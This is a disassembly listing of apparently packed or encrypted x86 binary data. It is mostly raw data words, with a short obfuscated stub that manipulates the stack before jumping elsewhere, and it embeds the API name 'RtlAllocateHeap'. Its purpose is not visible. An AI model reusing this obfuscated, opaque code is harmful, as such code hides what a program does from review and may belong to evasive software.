		dd 0B9725B32h, 6C6DA3A3h, 8F0E52F5h, 23389169h,	2DCE1566h
		dd 0C1B61AA4h, 4B321567h, 22321BE6h, 113BFC66h,	272B1566h
		dd 0DE090246h, 1EAAC3A6h, 3CB61AACh, 71321567h,	0BB0F739Eh
		dd 69B61A43h, 71321567h, 70DD57D8h, 4CD89456h, 434FF4E0h
		dd 0EE1C2800h, 885A9069h, 42DB1566h, 0F8321566h, 77606033h
		dd 8CDE96ABh, 0FE1601EFh, 22321564h, 13B8E767h,	8822FC3Ch
		dd 0CFBA1566h, 943A0C11h, 2D2174C2h, 2BBF8D2h, 1654311Ah
		dd 0D212E5D0h, 35269E00h, 8830D1E7h, 78C71566h,	36B61AC6h
		dd 71321567h, 8832058Fh, 12D7E166h, 1D530D82h, 4E2208D3h
		dd 5296A4B8h, 0AFB345ECh, 694DD1C2h, 1DB9743Ch,	6BBB4642h
		dd 4436D6E7h, 0E1B31566h, 11321562h, 0D41609E1h, 4432048Fh
		dd 0EC976166h, 4A331650h, 7B72AA0Eh, 0A9783422h, 225AECA9h
		dd 9A321566h, 4CB13162h, 0FE547562h, 2EDB13ECh,	3D321566h
		dd 0C5C1C234h, 0E9693187h, 430CE058h, 1133598Fh, 89B01A66h
		dd 0B1321566h, 0A252DC57h, 903DC784h, 8832156Dh, 4432108Eh
		dd 87848E66h, 706BE3DEh, 77CDA833h, 0AD1BEA99h,	9B54753Bh
		dd 14DBE121h, 4A321566h, 79553CA1h, 22A6FC07h, 1CDB1566h
		dd 9F321566h, 0B03481D5h, 0A08269F0h, 8F5B6166h, 8832160Eh
		dd 603E9E66h, 2D36D1E5h, 113212EDh, 89B11A66h, 0BC321566h
		dd 2232708Fh, 22897566h, 0EE2A3277h, 1C18FEE7h,	9C64EC07h
		dd 11321560h, 746C4C30h, 44325C8Fh, 36B31A66h, 0F8321566h
		dd 88321569h, 0BA5633A6h, 9025C472h, 0C1A0C35Ch, 0E0381F32h
		dd 44327749h, 991609EFh, 5F333590h, 0EDD1942Dh,	0C5286112h
		dd 0C7641A5h, 19D1D449h, 3135E6E7h, 9DBB3B02h, 0EEB2753Dh
		dd 5F8D7341h, 2CC174D0h, 44321D8Fh, 0A6542E66h,	0C17661EBh
		dd 29BF9E70h, 0B1340175h, 0A73DDCE3h, 11321568h, 88339F69h
		dd 0CDCB1566h, 3621B4D3h, 1DB9EC60h, 6FBB4242h,	4436D2E7h
		dd 0E5B11566h, 350E9262h, 89BF1A3Ah, 0B1321566h, 810B9FDEh
		dd 66884760h, 0C249AA72h, 980DFE7h, 0D0B33E75h,	7C25608Fh
		dd 0AD68C56Fh, 4C6E778Dh, 6231FDA7h, 255D1443h,	8BCD381Dh
		dd 0C83D1566h, 22321567h, 1ADBD693h, 7A321566h,	8A2C1C2Dh
		dd 7BBF46FFh, 0EE54E859h, 0EE647350h, 222923D8h, 2016614Fh
		dd 49544B00h, 93041000h, 44369269h, 42521566h, 0D20E7407h
		dd 89E39169h, 0CA3D1566h, 2232156Ch, 8A887306h,	0F38B7391h
		dd 695A7442h, 0AB321577h, 0D7BA3172h, 7168E6EEh, 0F6604500h
		dd 78E69D96h, 4954F646h, 88269F69h, 4BDB1566h, 0A321566h
		dd 16BDDF1Bh, 0A0AAD6BFh, 8D3DF69Dh, 33DB9F5Ah,	0AA321566h
		dd 0FEC4A0B8h, 4413F05h, 0E79B77C1h, 0F2B72BDBh, 8742EEE6h
		dd 4431FEE2h, 0E1B97566h, 2D53DEEDh, 0E8B61A8Fh, 0AD321567h
		dd 2232156Dh, 7F322979h, 49649D26h, 0B1C41A8Ch,	0A63DFE5Ah
		dd 11321421h, 0E93BA406h, 0C03DD75Ah, 2232145Dh, 112F9E69h
		dd 87521566h, 57DBC6D1h, 3A321566h, 0CBD2D74Dh,	56757AF8h
		dd 0DEA0450Fh, 0A60DFF77h, 2D530DB2h, 98B61AADh, 4B321567h
		dd 223214EBh, 2C54E966h, 0C3D3099h, 44321599h, 22389769h
		dd 71521566h, 88BC1A07h, 25321566h, 0A63DDF5Ah,	11321581h
		dd 87D1299Fh, 44314EE2h, 223DFC66h, 33561566h, 0DB2300B7h
		dd 57D8C823h, 0F712A899h, 2C54E932h, 0D3DEA48h,	44321519h
		dd 2232078Fh, 33513B66h, 0B9E16340h, 0A0F8AB0h,	279BB729h
		dd 42F42485h, 883217DDh, 0CEC11466h, 62E9E65h, 1136D1E7h
		dd 83DB1566h, 28321566h, 0A830FBDh, 8B7D9ACh, 3A6083C8h
		dd 0F3617317h, 44C82579h, 99F8953Dh, 4837F7A6h,	0A6F2178Ch
		dd 0D2F09562h, 7168C546h, 0F9D4AC00h, 1A8D7331h, 1E534DE4h
		dd 45B61AC6h, 87321566h
		dd 44321BEAh, 0AC3D7566h, 11321566h, 88329969h,	11531566h
		dd 223215DBh, 3DB34066h, 3F288442h, 0D5374D11h,	7F45A27Ch
		dd 114AFC9Fh, 0E8CA1566h, 4432108Eh, 905ECA66h,	9A541257h
		dd 87DB4EA9h, 0E9321566h, 1CB93401h, 0A1A9EFADh, 0B58EC48Dh
		dd 0CD53ECFBh, 3621B4D3h, 113CFC60h, 11271566h,	0E6A375AEh
		dd 0D030E56Dh, 0C27C6CF9h, 7EAF989Fh, 0AD340FF0h, 22321568h
		dd 0F55AAFE8h, 3214CB9Ch, 671C8836h, 0F1CDE3E3h, 15027D9Ah
		dd 0A4BB1566h, 4433A842h, 0CABB1566h, 113AFC3Bh, 0E0051566h
		dd 0B372369Dh, 0CBF107E3h, 11321577h, 5877B949h, 0E4240B47h
		dd 76DDABE0h, 1394BDADh, 6FBB42FEh, 4436D2E7h, 0CDB11566h
		dd 350E9262h, 0AC369C3Ah, 4432138Fh, 0E993166h,	0EEDF9C10h
		dd 0BCB30510h, 30168442h, 98604D6Ah, 19EA4879h,	0B0BCFFE7h
		dd 9403E902h, 2234FC3Ch, 40A91566h, 76AA5C64h, 58BF90EFh
		dd 70521372h, 48FBAA69h, 88321D8Fh, 0D8DB266h, 0A9E1A555h
		dd 25CD74B6h, 4CB14D42h, 8CB87562h, 22321A8Fh, 0C8EC6266h
		dd 66FE3082h, 0BFC3912Ch, 902EF05Ch, 0D894607h,	89321566h
		dd 602E9EB8h, 2236D1E7h, 1E521566h, 88321AEBh, 4438FC66h
		dd 0B6861566h, 6FF182B7h, 9F682D4Dh, 0E4CDDE7h,	0AF534F17h
		dd 53DE4DBh, 8834FC60h,	54581566h, 0E7D1AC24h, 113CFCCBh
		dd 5F761566h, 0FCBC4283h, 7443CE7Fh, 93AA586Eh,	0A31BE84Bh
		dd 6076165Dh, 0DF8B4442h, 10093E4Fh, 23CA4CAEh,	0C18F9893h
		dd 42340142h, 0EDB31BDFh, 0B18B731Ah, 0AD9F74D6h, 22321560h
		dd 9DBEE9FFh, 0F1373BDAh, 696E363Dh, 11575161h,	35165165h
		dd 0ED761263h, 1F4B3855h, 4AC74945h, 11324791h,	871611EFh
		dd 443214E4h, 4299ED66h, 0A85465D6h, 553F32Bh, 501E7CDBh
		dd 8FCBED60h, 98FB9406h, 87460743h, 1253D5D1h, 0F465BD8h
		dd 4FC23C54h, 0A0165165h, 69465B63h, 31B51A54h,	0F8321566h
		dd 88321568h, 53512C73h, 539092A2h, 0AED65E99h,	85DB498Ah
		dd 78321566h, 3E68529Dh, 0AC915Fh, 66DAAE40h, 56B31ACDh
		dd 0CB321566h, 1132156Bh, 6929BAFCh, 9CEEEC4Ch,	40A18455h
		dd 5B51AFBh, 87321566h,	44321BE4h, 223BFC66h, 595F1566h
		dd 90404FC3h, 0CF457CC9h, 0AB673152h, 15F79483h, 9321566h
		dd 443211A3h, 61E9266h,	1123FC3Ah, 0D9911566h, 0B3F8A0BCh
		dd 0DF4C2869h, 75012864h, 87AD7753h, 44320CECh,	2226FC66h
		dd 0FDF51566h, 0FC49E462h, 0D6D7AD5Ch, 3D6D827Bh, 467D3C99h
		dd 61F1B35Eh, 4432156Ah, 0AC2ABE26h, 1EE90A3Dh,	8CDD3B37h
		dd 44254F0Eh, 6069C66h,	0AA544706h, 0EE680DB6h,	255777D8h
		dd 0B47088EBh, 993D137Ch, 8832156Ah, 44349969h,	0A13D1566h
		dd 11321566h, 6152C699h, 4432156Ah, 0EE73E64Dh,	2F51BF2Ch
		dd 6CC0ACB5h, 8277C5E7h, 0CB533EF7h, 0EECDE991h, 8837FD06h
		dd 0CB811566h, 447B9B30h, 5E69A5DFh, 4ECEDF61h,	4AA86CD2h
		dd 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh, 2AA8ED96h, 29458A15h
		dd 57DFA024h, 91792619h, 2A1E2C5Eh, 89798A15h, 2A162C5Eh
		dd 0CA798A15h, 2A492C5Eh, 13798A15h, 2A382C5Eh,	0F2798A15h
		dd 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h
		dd 0D7BA8660h, 0D5CE2559h, 0F1439177h, 498232DCh, 71BA8C0Eh
		dd 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh, 38C88260h, 2C4FCB5Eh
		dd 74DF0746h, 0D552B332h, 5E0003C6h, 2A5492B8h,	0AE307515h
		dd 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h, 0A45EE9C3h, 6FDD7BAEh
		dd 0A25863E9h, 5FABA851h, 0AA307519h, 497332DCh, 2F168C0Eh
		dd 31377ECBh, 2B967513h, 2ABD5414h, 0C3458A15h,	0E3A8EDDAh
		dd 0BA4582D7h, 3044h, 24E9h, 4272AA00h,	15h, 7 dup(0)
		dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
		dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
		dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
		dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
		dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h,	8B4C6454h
		dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h,	0D51876Dh
		dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
		dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
		dd 0E9830048h, 8BA4F305h, 3D3608CBh, 0DCDC7006h, 3DBADCD0h
		dd 3256A030h, 32503CB1h, 804FEAB1h, 587A8A4Dh, 3256BA59h
		dd 0D8D707B1h, 344C6A9Dh, 3243D0BEh, 0DB36ABB1h, 3256D5BFh
		dd 5E98353h, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	61F9B517h
		dd 3FD525FBh, 0D1ADFDF5h, 22916EB9h, 7ACFB734h,	29B723ACh
		dd 7A1A20ADh, 277975FDh, 3F5D987Ch, 0FFA073E6h,	0E98331CFh
		dd 8BA4F305h, 78BD8DDBh, 8D061B79h, 1C01B28Dh, 6644B806h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	7E9F8F6h
		dd 0EE000000h, 0E7294760h, 5250E66Ah, 8403A3BAh, 24542973h
		dd 5585A04h, 738403A3h,	0F6DB8060h, 79FBD681h, 8361384Eh
		dd 1430B1BDh, 9750006h,	1AE1BD83h, 74000614h, 8B535019h
		dd 411B8C0h, 85890000h,	61430C1h, 0B7A19D8Dh, 0D3FF0616h
		dd 0BD83585Bh, 6141AE1h, 50177400h, 411B853h, 85890000h
		dd 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F60585Bh,	198Ah
		dd 14E900h, 26B90000h, 0D689A1D3h, 5C2231E7h, 2CFAE249h
		dd 0D48B6717h, 0B96657D1h, 0F61B566h, 0A89h, 5E900h, 0EC620000h
		dd 571DE411h, 0F889C789h, 81243C8Bh, 4C4h, 5EB56000h, 3ED78166h
		dd 830F6104h, 19h, 14E9h, 71EF0100h, 74942902h,	8AB4330Dh
		dd 0FDE05BB9h, 14A69284h, 8D8DF899h, 61C0561h, 8D89F78Ah
		dd 6143229h, 2820Fh, 0F2B40000h, 64D85C7h, 6B2C0614h, 2FB20000h
		dd 267185C7h, 614h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 190424h, 55450000h, 416102C3h, 8B4BB4B2h
		dd 14083D95h, 0EBCF8106h, 0FF25A31Ah, 14220DB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0E55A3607h, 6195FF7Ch, 89061423h, 1416218Dh,	0FF006A06h
		dd 14116995h, 0EBC08B06h, 0E2FB797Eh, 4FD60C4h,	3ADBCCE0h
		dd 0B95100C5h, 0F4022A90h, 58B9C9B2h, 7F3ED737h, 69FEB321h
		dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0F706A9C5h
		dd 1D90C27Bh, 98F5481Dh, 66FE26DAh, 0CF555421h,	0AEA7ACF1h
		dd 31EF4114h, 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 17111103h
		dd 8C5342F2h, 26406CB5h, 7ED9A8E4h, 0B871E561h,	38B64462h
		dd 2A0110BFh, 0FDC48519h, 0FC05A880h, 0E8D4DEF8h, 0Ch
		dd 0BAE98665h, 6F1F0F09h, 0D75696BEh, 0BE8h, 59805400h
		dd 57C9A8B4h, 0B9781F02h, 0F6F18166h, 665A5933h, 2DD381h
		dd 7295C281h, 0AE90000h, 4B000000h, 546A8DCAh, 87F8CB84h
		dd 1C7468D6h, 81660000h, 5F7358C6h, 22459D0Bh, 32FF0614h
		dd 58F38B66h, 8E9h, 1A0C700h, 0E3A3565Ah, 0AAC081F7h, 0B56A45AEh
		dd 70F081DEh, 0B515A687h, 39C0818Bh, 8B4D4AB0h,	140E359Dh
		dd 0E8605006h, 0Ah, 99DA2D91h, 16F506C7h, 72B3E64Dh, 0D1858B5Fh
		dd 61061402h, 2956028Fh, 1430AD9Dh, 0EA815E06h,	279A39D9h
		dd 6830Fh, 9D230000h, 61424F5h,	39D5C281h, 0EF83279Ah
		dd 8B850F01h, 89FFFFFFh, 14141DB5h, 0EDE906h, 66600000h
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 6142581h, 0F00FE83h
		dd 2285h, 5985C600h, 4506141Ah,	72696968h, 45B5FF8Eh, 8D061411h
		dd 1780DB85h, 89D0FF06h, 142EF985h, 80F08B06h, 850FE93Eh
		dd 31h,	7F47858Dh, 0D0FF0619h, 2421BD8Bh, 0C7810614h, 1184h
		dd 2581B58Bh, 0F7870614h, 8B9h,	8BA4F300h, 142581B5h, 12858D06h
		dd 0FF0617AAh, 5DB58BD0h, 83061421h, 850F00FEh,	22h, 1A5985C6h
		dd 68540614h, 0FF4EBEF4h, 1145B5FFh, 858D0614h,	61780DBh
		dd 8589D0FFh, 614215Dh,	3E80F08Bh, 3A850FE9h, 8B000000h
		dd 14215DB5h, 47858D06h, 0FF06197Fh, 21BD8BD0h,	81061424h
		dd 1184C7h, 8C78300h, 215DB58Bh, 0F7870614h, 8B9h, 8BA4F300h
		dd 14215DB5h, 12858D06h, 0FF0617AAh, 8DC361D0h,	1C06B785h
		dd 19858906h, 0E906142Ah, 33h, 56C8E149h, 0Bh dup(0)
		dd 0E9000000h, 461h, 1C08F168h,	7629E906h, 6768FFF8h, 0E9061C09h
		dd 0FFF8761Fh, 1C0ABE68h, 7615E906h, 0BF1DFFF8h, 2D1AE00h
		dd 468C69BBh, 8F462375h, 0DCFBD82Ah, 62568FE1h,	0E234894Eh
		dd 9BEDCC05h, 53A51ABEh, 95B6076h, 896F75FDh, 9D580DEFh
		dd 0C5123BA2h, 973F4CF8h, 0E14DC24h, 51F1E828h,	0D5E5143Ch
		dd 0A92E8BF9h, 78106814h, 1D6B2A30h, 0C89F57E5h, 60B599DCh
		dd 0D91C09Dh, 11F339E5h, 1C58063Ch, 5D5C7946h, 8D0259B1h
		dd 84BF5EA9h, 80C21443h, 0D98E5A0Bh, 6F3C04F8h,	0E8CE5467h
		dd 0FC580656h, 0C73FA5D4h, 37000002h, 0A34F6C6Ah, 17351C4Bh
		dd 0E863494Fh, 9F7751F1h, 0F1E7B399h, 79FC751h,	89268CD8h
		dd 252B731Bh, 57E501DAh, 8BDF80A8h, 0B5286820h,	4E963AA8h
		dd 5E9A2148h, 0E38FB75Bh, 7DC569D7h, 72B58277h,	448CB461h
		dd 145C5F77h, 2318C47h,	0FAC115F2h, 1F2CE11Ch, 16240E35h
		dd 2B4h, 94E6D903h, 4FA11CB7h, 95B6072h, 0BE10A92Ch, 75C7F6E1h
		dd 0A3347C3Ch, 0E6EBC81Ah, 34A481D3h, 7A5C398Bh, 5BE3EF41h
		dd 0DF06F55h, 21888358h, 0A2424017h, 6814AB2Dh,	0FDE5B910h
		dd 0DBE0F643h, 8C34A2ACh, 4B933E44h, 0F92157EEh, 1B21E9B1h
		dd 580E4B35h, 0E7F22149h, 9E7BCDF0h, 0B508CF39h, 4A2B711Dh
		dd 0CD580E4Bh, 33D4B209h, 0D03EA497h, 23ED8E6h,	63790000h
		dd 0A62D0A5Ch, 0EAE8C517h, 33A27FD1h, 80573486h, 6B2EB3Dh
		dd 3E902DAAh, 0F7497061h, 0AF01BE1Ah, 65B704D2h, 0E5CBD159h
		dd 0F9580DF0h, 0A51397FEh, 0ABB1F9h, 8E57EDF0h,	9274BA66h
		dd 9D580DEEh, 5D2ADF7Bh, 0F4FA4279h, 580DEF0Eh,	5FCBFA22h
		dd 0F8D1E706h, 199F8h, 0C4120F00h, 983E4BF7h, 2F04DB23h
		dd 0B308CA65h, 64D0C45Ch, 0DB492535h, 5623EB33h, 8B933F7Ch
		dd 0F2969F85h, 0F38BB351h, 0E7ED80C4h, 335B57E5h, 0C75F4187h
		dd 486A5806h, 0ED4910Ah, 612AF8D9h, 41000000h, 0BF714017h
		dd 0ABEA4F12h, 0F21CBFA5h, 13ABD351h, 0C46CDAE4h, 37B3767Ch
		dd 0A98157E5h, 636BDA3h, 11A9D158h, 0F3D6F2C9h,	0B0153013h
		dd 9F4B6E63h, 68AE1847h, 5806D286h, 8234C60Bh, 15A563D8h
		dd 0F2FFAB43h, 1A30DCE1h, 8E5554F6h, 0D3E6EBB8h, 4EA0CF27h
		dd 0FDCE970Ch, 9B30F8D8h, 47000000h, 4BF7C412h,	7824993Eh
		dd 0D3A06B6Bh, 5137BD00h, 0DE51F1E8h, 0D5FDC3F8h, 5284913Dh
		dd 0F29E1FB4h, 9AB0029Ah, 51F1ECDAh, 0AE00BB1Bh, 74BC64D2h
		dd 0E6C2D56Eh, 0CF173F57h, 729D502h, 0B75CE2F2h, 87B0192Dh
		dd 2A1DFA30h, 74634092h, 1EA66B49h, 87713EAAh, 0E779h
		dd 0B30CD000h, 6E4F8461h, 28933F1Ch, 0DDDCF9D6h, 9429AE8Bh
		dd 1AF0942h, 0B895E7D6h, 714EA019h, 29065867h, 0B0BC0EADh
		dd 0F23C2228h, 5550580Dh, 43C512EEh, 59667292h,	25BD55ADh
		dd 0DBE0F6D3h, 4F17D089h, 0F1E86349h, 204F7751h, 4EFAC115h
		dd 0D4269541h, 9EE68AF8h, 0E5542D98h, 0CB133B57h, 4F353B03h
		dd 63580635h, 7EDF33Bh,	1B580635h, 1EB9C4F3h, 9E754D9Fh
		dd 3898BB8h, 2A6E9D70h,	58061748h, 0DBF309CDh, 0FB9C0AAAh
		dd 0D3E6EF3Ch, 0E537CF27h, 42EECF08h, 4B34h, 0A5138B00h
		dd 7E2A9344h, 40468E26h, 57EDF0A9h, 3E4BF71Fh, 0F4D12398h
		dd 0DAE24E2h, 783C975h,	4706C0FEh, 498DA7E3h, 93432072h
		dd 666F7C28h, 993E0B53h, 0F1207824h, 0F2903287h, 0CD1F9C3Ah
		dd 29D5E6F0h, 31Bh, 7DE47200h, 49F5CA12h, 75219A3Ch, 0A34F7068h
		dd 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh, 8733884Ah
		dd 0B864597Ah, 5A545233h, 4C281h, 0EA830000h, 24148704h
		dd 58E3685Ch, 14890000h, 66B76824h, 2C890000h, 0F7BE5624h
		dd 8107743Eh, 0F8793CE6h, 81D6F744h, 93CFC0F6h,	48156FDh
		dd 55723F24h, 0EA815A0Ch, 0C55723Fh, 2C8B545Eh,	4C48124h
		dd 68000000h, 28A7h, 0B9240C89h, 8, 1189E901h, 2434FF59h
		dd 4C4835Dh
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0C4h
		dd 0BCAB806h, 0C503061Ch, 48D3E0FFh, 0A3712CCFh, 0D23E628Bh
		dd 62514232h, 0E36F6FAAh, 0F6D0347Eh, 2AB0D37h,	52085EB8h
		dd 59082D3Bh, 0E5F0B1Fh, 0B0463E70h, 0AFE40630h, 0ADC856ADh
		dd 54C55F1Ah, 0FE9618F4h, 58632DAEh, 880A7A42h,	0D8CF7E28h
		dd 1A5C64DBh, 69A43C2Eh, 2A71104h, 18D645BDh, 0FE050311h
		dd 0F2DA70B1h, 86010D18h, 50CC5940h, 978A128Eh,	8D8D536Fh
		dd 61C0DADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	79C35646h, 0EACB4E61h, 9997B771h, 10E9h, 0D891D600h
		dd 52213C4Eh, 6D024D7Ah, 0D1B81666h, 298D8933h,	6A061432h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 7B68C355h, 0A507AB7Dh, 0B58B67BFh, 6141725h
		dd 31D78166h, 4D85C711h, 7C061406h, 8B000061h, 7185C7D3h
		dd 61426h, 0F000000h, 0B5FFC1B7h, 6141601h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C35242h, 61EBE039h
		dd 0FF4FD8C8h, 14236195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A5E89883h
		dd 0C090EF3Ah, 4BF66ACh, 0FF006A06h, 14116995h,	0EBC08B06h
		dd 7D95BA3Eh, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh, 0F4C3ED2h
		dd 7C87AE38h, 0B97C9533h, 861363D5h, 7EEA76FFh,	4029768Ch
		dd 37C50BBDh, 0E48BD7BAh, 3B5A04FFh, 6ADA047Fh,	15D6F77Bh
		dd 0E914ACF0h, 35h, 3C15B484h, 416C7452h, 636F6C6Ch, 48657461h
		dd 706165h, 140000h, 7 dup(0)
		dd 102FE900h, 82680000h, 0E9061C10h, 0FFF86FE7h, 1C116D68h
		dd 6FDDE906h, 6668FFF8h, 0E9061C13h, 0FFF86FD3h, 1C146468h
		dd 6FC9E906h, 0B868FFF8h, 0E9061C17h, 0FFF86FBFh, 1C184568h
		dd 6FB5E906h, 8468FFF8h, 0E9061C18h, 0FFF86FABh, 1C197868h
		dd 6FA1E906h, 1468FFF8h, 0E9061C1Ah, 0FFF86F97h, 1C1A8968h
		dd 6F8DE906h, 0A68FFF8h, 0E9061C1Ch, 0FFF86F83h, 1C1CF868h
		dd 6F79E906h, 23B9FFF8h, 666D4A9Ch, 0AA280557h,	0F3E2BF11h
		dd 409774C6h, 0C6F22B7Dh, 7ED0EDEAh, 378930A1h,	0EF417E5Ah
		dd 0A5F7C412h, 250B1199h, 39580DF6h, 0C412D73Eh, 983E4BF7h
		dd 6E6A7723h, 0AE50A551h, 48905DECh, 993D4877h,	0E4F3D022h
		dd 14C491D9h, 946C7CABh, 54ED0FC7h, 10228D99h, 0ECF726BEh
		dd 1D25D1EAh, 80868750h, 51F2B69Ah, 42EE86AEh, 26B0BBEAh
		dd 58804D95h, 3B81A67h,	1FECC4D4h, 3A7F52B2h, 6E545AA2h
		dd 8251F2B7h, 0B3212B5Ah, 8385E24Ch, 0A1303DC7h, 9E338018h
		dd 733B831Bh, 97D02CA6h, 846B50A6h, 0F03463FBh,	57E59D5Dh
		dd 0FBC47249h, 72385E25h, 7C8FBD1Bh, 9AC9DFE9h,	0FC42EE16h
		dd 5806A51Ah, 0D783369Fh, 8B409CAh, 8D6C2E92h, 0EDE6A4C6h
		dd 0F8D93078h, 0BE480FE6h, 0D642DA99h, 5541A7h,	13580000h
		dd 0E9B1F9A5h, 0F1E7FDE3h, 9CE91151h, 4C52813Ah, 0E5038346h
		dd 107CF57h, 5806031Bh,	3885522Fh, 0C5ED71A0h, 0C9AFB57Dh
		dd 0DD580602h, 0D61C86B5h, 580602F4h, 0B15D5C79h, 0E28E2FA4h
		dd 0EBA01D5h, 0E2A004B6h, 741638FFh, 0D9D7065Fh, 0D8F8F8h
		dd 170F0000h, 8733884Ah, 0C8F5E22Fh, 0BE488E99h, 575DA51Ah
		dd 51F1E871h, 19C55D85h, 46F2CB0Ch, 0A766713Eh,	0F1E7BBA1h
		dd 0FA7CF51h, 5DB40B63h, 0E380E27h, 686E79A8h, 0D3359Eh
		dd 0E18D25BDh, 67B902D4h, 0F2CE9051h, 0B803D351h, 0B2B78E66h
		dd 1F8A3357h, 0F6E0EB1Ah, 9F0D19C5h, 66A1A7EFh,	9257E5EBh
		dd 0EBDEC4CAh, 1AF25806h, 6EC2E14h, 821A4258h, 55A7CF53h
		dd 1B630B79h, 0FBC2E915h, 951795Dh, 646D9B3Ch, 0B951A955h
		dd 8D2EA471h, 66714E5Eh, 45C67957h, 0C3AD3895h,	0D3DB5h
		dd 77489400h, 328B4825h, 0ECCF03E0h, 0A118BD9Ah, 5865724Fh
		dd 0C5EBCD06h, 7C59AB12h, 35126455h, 0EDCA1CA3h, 7480D2E9h
		dd 0F800E6ECh, 1914580Dh, 0F8C512B2h, 0AE0DC9A6h, 0A513A35Ch
		dd 0E8ABB1F9h, 0B657E502h, 5E79468Eh, 80C6305Fh, 5806029Eh
		dd 5E0AB523h, 8D398051h, 169BB71Bh, 0DC6D2D4Fh,	48F4C70Fh
		dd 1055C1F0h, 0EEF8D9D7h, 0BDh,	0F7C41205h, 24993E4Bh
		dd 35A37078h, 56175B8Ah, 9E51F1EDh, 0BB706D1h, 5D7984B3h
		dd 0A72F0C5Eh, 0D5F5CC14h, 50CC0CA4h, 4753BDECh, 3E7476D9h
		dd 0C216DE6Dh, 0A1DCE22Ah, 4F57E5F2h, 8BF9D527h, 7A959BE3h
		dd 0E85DFBC6h, 9DA178C0h, 888F6C9Dh, 21D3C070h,	5FF776E9h
		dd 7A5D2A30h, 0C314F143h, 290A483Bh, 0ABF3F3D5h, 1D97BFA5h
		dd 13ABD35Eh, 95511435h, 7B897338h, 0C52h, 10625D7Fh, 0CB1DA033h
		dd 85D7E4EEh, 3A8C2DA8h, 0F1437A5Dh, 27B000B8h,	6A674496h
		dd 0B820FD4Fh, 0FED8B507h, 0D75F6BBDh, 0DF8EBD1h, 9D04FF58h
		dd 0B0F8C512h, 9DCCEFE3h, 0E026B08Dh, 0DE30C8F1h, 0F7C41225h
		dd 6076434Bh, 270D135Bh, 3B51F1E8h, 0FDD9E413h,	0C7946CBEh
		dd 7660AD10h, 0F0D21645h, 7551F1E7h, 2B085A61h,	745A60ABh
		dd 8851F1E8h, 0F1CC860h, 0D648F4C7h, 2AE1F1BEh,	0F1E83E24h
		dd 922A5251h, 0E85E444Ah, 4A7251F1h, 7889C91Bh,	243534A1h
		dd 0F293381Eh, 0CD244C51h, 5B8A4A16h, 0E3358650h, 0ED48C0A5h
		dd 0D5C79EFEh, 4CE3AC01h, 736ED403h, 85000000h,	173AA513h
		dd 615CD47Bh, 0E6EC34CCh, 57E55367h, 83C9759Dh,	580632A1h
		dd 0D3C88AACh, 0F8D9A292h, 4D6Ch, 0F6D98300h, 7E51F1E7h
		dd 12186010h, 57E53273h, 0AC79C1E9h, 9444912Ah,	0FECFC2Bh
		dd 3D49F5C8h, 83696FCFh, 97580612h, 898FD76Fh, 5DFA13DEh
		dd 15F2446Ch, 4450FCC3h, 1AE22AD6h, 231884Dh, 0D4723BEh
		dd 17699164h, 87239h, 0A5139000h, 90289144h, 33474248h
		dd 4D7557E5h, 13795BA1h, 62845806h, 0C2BAAB20h,	0D44F8D9h
		dd 5B000000h, 0F1E7F7D9h, 13E33151h, 3AFFFFFCh,	47A44017h
		dd 37EFE93Dh, 26D2E7EAh, 27959FCEh, 0FA292F77h,	9057E5E7h
		dd 9476BC68h, 9F5805E7h, 5F2CDD7Dh, 3F974376h, 0EDC1A410h
		dd 0F03DF8D9h, 54000004h, 12DF6AD1h, 0C2CCFBC0h, 5E64AC54h
		dd 57E50213h, 7B40925Fh, 0FFA0C84Ch, 0B08312E9h, 3783696Fh
		dd 6F975806h, 2FAE218h,	0B1CE8FD3h, 0A41201C8h,	1FECB4FCh
		dd 35B07B2h, 709F1CB6h,	0BEAC792Ch, 53FF2707h, 0ED35D947h
		dd 0D807B820h, 2CFFCCD2h, 0A9D10DD4h, 79429461h, 4B746431h
		dd 0A72F0C1Ch, 0BC1D3614h, 947E88BBh, 0A5986h, 5B647800h
		dd 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h,	0A907B1EAh
		dd 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h,	0FAE4CAD0h
		dd 0FDF8580Dh, 0F7C41296h, 5F76434Bh, 0E7BEA4AAh, 0AAD251F1h
		dd 6BD9E312h, 4233A104h, 0D26A33DEh, 0D50D848Ah, 664357E6h
		dd 6EB64E6Bh, 368837A1h, 0ADFA875Eh, 0EC45031Bh, 0CD25D1EAh
